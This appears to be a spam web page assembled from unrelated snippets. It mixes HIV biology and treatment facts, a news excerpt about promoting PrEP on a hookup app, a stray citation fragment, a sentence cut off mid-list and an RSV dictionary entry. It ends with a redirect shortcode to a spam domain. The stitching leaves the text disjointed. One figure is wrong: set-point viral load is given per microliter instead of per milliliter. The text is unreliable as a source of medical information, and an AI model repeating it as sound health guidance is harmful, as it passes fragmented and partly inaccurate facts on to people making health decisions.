HIV-1 and HIV-2 appear to package their RNA differently. HIV-1 will bind to any appropriate RNA. HIV-2 will preferentially bind to the mRNA that was used to create the Gag protein itself.
Jump up ^ Sharp PM, Bailes E, Chaudhuri RR, Rodenburg CM, MO, Hahn BH (2001). “The origins of acquired immune deficiency syndrome viruses: where and when?” (PDF). Philosophical Transactions of the Royal Society B. 356 (1410): 867–76. doi:10.1098/rstb.2001.0863. PMC 1088480 . PMID 11405934.
Viral load represents how quickly HIV is replicating. When people are first infected, the viral load increases rapidly. Then, after about 3 to 6 months, even without treatment, it drops to a lower level, which remains constant, called the set point. This level varies widely from person to person—from as little as a few hundred to over a million copies per microliter of blood.
Enfuvirtide (T-20) is the only FDA-approved fusion inhibitor; it requires twice daily subcutaneous injections. Maraviroc (MVC) binds to and alters the structure of the CCR5 chemokine receptor, preventing it from being used as a coreceptor by HIV. Since some strains of HIV also can infect cells by using the CXCR4 chemokine receptor molecule as a coreceptor, MVC is ineffective in individuals who harbor CXCR4 tropic or dual tropic (using both CCR5 and CXCR4) virus.
The risk of transmitting the virus to others is higher when the viral load (the amount of HIV in the blood) is higher, in particular in early infection (when a person may not even be aware he or she has HIV) and late in untreated infection (when the immune system is failing). Research demonstrates that having a consistently low (undetectable) viral load dramatically reduces infectiousness and that together with consistent condom use and/or safe injecting practices, lowers the risk of transmission to almost zero. However certain factors, including poor treatment adherence or the presence of other STIs can increase the risk of transmission.
Stevenson took out his phone and opened Jack’d, a hookup app popular with men of color. He pulled up his “professional” profile — on which he’s smiling, clean-cut and buttoned-up amid a sea of bare chests and crotch shots. At the bottom he had put a link to a website with information about PrEP; next to it he’d written: “Inbox me if you want to know more.” “I’ve gotten a bunch of messages asking about side effects, how much it costs and does it work,” Stevenson said. He and Watson said they take the medication “just in case.”
You don’t actually “get” AIDS. You might get infected with HIV, and later you might develop AIDS. You can get infected with HIV from anyone who’s infected, even if they don’t look sick and even if they haven’t tested HIV-positive yet. The blood, vaginal fluid, semen, and breast milk of people infected with HIV has enough of the virus in it to infect other people. Most people get the HIV virus by:
Although the American research Robert Gallo at the National Institutes of Health (NIH) believed he was the first to find HIV, it is now generally accepted that the French physician Luc Montagnier (1932-) and his team at the Pasteur Institute discovered HIV in 1983-84.
HIV is a very small virus that contains ribonucleic acid (RNA) as its genetic material. When HIV infects animal cells, it uses a special enzyme, reverse transcriptase, to turn (transcribe) its RNA into DNA. (Viruses that use reverse transcriptase are sometimes referred to as “retroviruses.”) When HIV reproduces, it is prone to making small genetic mistakes or mutations, resulting in viruses that vary slightly from each other. This ability to create minor variations allows HIV to evade the body’s immunologic defenses, essentially leading to lifelong infection, and has made it difficult to make an effective vaccine. The mutations also allow HIV to become resistant to antiretroviral medications.
The HIV DNA copy is incorporated into the DNA of the infected lymphocyte. The lymphocyte’s own genetic machinery then reproduces (replicates) the HIV. Eventually, the lymphocyte is destroyed. Each infected lymphocyte produces thousands of new viruses, which infect other lymphocytes and destroy them as well. Within a few days or weeks, the blood and genital fluids contain a very large amount of HIV, and the number of CD4+ lymphocytes may be reduced substantially. Because the amount of HIV in blood and genital fluids is so large so soon after HIV infection, newly infected people transmit HIV to other people very easily.
respiratory syncytial virus (RSV) any of a genus of single-stranded paramyxoviruses; the name is derived from the type of disease produced (respiratory infection) and the microscopic appearance of the viruses in cell cultures. RSV can cause a wide variety of respiratory disorders ranging from a mild cold to serious or even fatal disease of the lung in the very young and very old. It regularly produces an outbreak of infection each winter and virtually disappears in the summer months. The most severe infections in children are in the very young, especially those who are preterm, immunologically compromised, or suffering from a congenital heart defect or preexisting lung disorder. Adults at risk for infection include parents and others who are repeatedly exposed to young children, for example, pediatric nurses and day care attendants. The course of infection tends to be milder in adults than in children and about 15 per cent of affected adults have no symptoms. In the very elderly these infections may have the same degree of seriousness and clinical manifestations as in the very young. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]